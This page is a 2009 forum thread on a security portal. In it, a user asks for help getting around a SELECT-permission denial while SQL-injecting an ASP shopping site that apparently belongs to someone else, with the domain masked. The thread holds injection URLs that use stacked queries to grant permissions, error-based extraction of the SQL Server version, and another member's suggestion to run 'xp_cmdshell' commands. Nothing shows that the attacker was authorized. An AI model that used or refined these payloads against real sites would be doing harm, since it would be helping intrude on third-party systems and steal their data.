Waraxe IT Security Portal
Login or Register
November 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 63
Members: 0
Total: 63
Full disclosure
APPLE-SA-11-19-2024-5 macOS Sequoia 15.1.1
Local Privilege Escalations in needrestart
APPLE-SA-11-19-2024-4 iOS 17.7.2 and iPadOS 17.7.2
APPLE-SA-11-19-2024-3 iOS 18.1.1 and iPadOS 18.1.1
APPLE-SA-11-19-2024-2 visionOS 2.1.1
APPLE-SA-11-19-2024-1 Safari 18.1.1
Reflected XSS - fronsetiav1.1
XXE OOB - fronsetiav1.1
St. Poelten UAS | Path Traversal in Korenix JetPort 5601
St. Poelten UAS | Multiple Stored Cross-Site Scripting in SEH utnserver Pro
Apple web content filter bypass allows unrestricted access to blocked content (macOS/iOS/iPadOS/visionO S/watchOS)
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> SQL Injection on Deny Select
Post new topicReply to topic View previous topic :: View next topic
SQL Injection on Deny Select
PostPosted: Fri Feb 06, 2009 4:22 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




i'm having a little problem with the select in a site.

Code:

Microsoft OLE DB Provider for SQL Server error '80040e09'

SELECT permission denied on object 'sysobjects', database 'database', owner 'dbo'.

/venda_prod.asp, line 12


So i tried:

https://www.site.com./venda_prod.asp?id=372;use database grant select on sysobjects to public--

And it should work, but the only think i get is:

Code:
Microsoft VBScript runtime error '800a000d'

Type mismatch: '[string: "372;use database gra"]'

/venda_prod.asp, line 92


PS.:
If i try:
https://www.site.com./venda_prod.asp?id=AAAAAAA;use database grant select on sysobjects to public--

Or try to put any other string that don't exist in the DB i receive:

Code:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Invalid column name 'AAAAAAA'.

/venda_prod.asp, line 12

oO :S

Any idea?:S[/code]
View user's profile Send private message
PostPosted: Sat Feb 07, 2009 12:25 am Reply with quote
one23
Advanced user
Advanced user
Joined: Dec 12, 2008
Posts: 98




Owner is dbo , did you tried to execute command ?
if possible Send Me The Link through PM To Check iT !
View user's profile Send private message
PostPosted: Sat Feb 07, 2009 5:45 am Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




one23 wrote:
Owner is dbo , did you tried to execute command ?
if possible Send Me The Link through PM To Check iT !


What do you mean with "execute command"?
View user's profile Send private message
PostPosted: Sat Feb 07, 2009 4:40 pm Reply with quote
one23
Advanced user
Advanced user
Joined: Dec 12, 2008
Posts: 98




Well , It's Long Time i Didn't Inject In MSSQL And Im
Not Really Good At Injection in MSSQL
Any way , I Don't Remember The Options
For Executing Command , i Think If
user_name() = 'dbo' , So We Can
Execute Command On The Server With This :

EXEC xp_cmdshell 'net user'; -- priv

For More Info Google.Com And MSSQL Cheat Shet :
http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/


[ if i said some thing wrong sorry any way ... ]
View user's profile Send private message
PostPosted: Sat Feb 07, 2009 6:30 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




one23 wrote:
Well , It's Long Time i Didn't Inject In MSSQL And Im
Not Really Good At Injection in MSSQL
Any way , I Don't Remember The Options
For Executing Command , i Think If
user_name() = 'dbo' , So We Can
Execute Command On The Server With This :

EXEC xp_cmdshell 'net user'; -- priv

For More Info Google.Com And MSSQL Cheat Shet :
http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/


[ if i said some thing wrong sorry any way ... ]


I don't have dbo, can't use xp_cmdshell or anything like that

Just need to be able to use the select, maybe i need to change the syntax, don't know.
View user's profile Send private message
PostPosted: Tue Feb 10, 2009 1:30 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




bump u.u'
View user's profile Send private message
PostPosted: Tue Feb 10, 2009 1:57 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Do you have already worked out syntax error solution? I mean - can you fetch "@@version"? Or you are at very beginning and can't get syntax right?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Feb 11, 2009 1:59 am Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




The syntax is right, i can get @@version, db name, user, server name and all db's in the server without any probs.

Quote:
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.818 (Intel X86) May 31 2003 16:08:15 Copyright (c) 1988-2003 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.


https://www.site.com./venda_prod.asp?id=372;use database grant select on sysobjects to public--

The id '372' exists, otherwise i get
Quote:
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.


But, like i said, when i try this command:

https://www.site.com./venda_prod.asp?id=372;use database grant select on sysobjects to public--

i get this:
Quote:
Microsoft VBScript runtime error '800a000d'

Type mismatch: '[string: "372;use database gra"]'

/venda_prod.asp, line 92


:S
View user's profile Send private message
SQL Injection on Deny Select
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.036 Seconds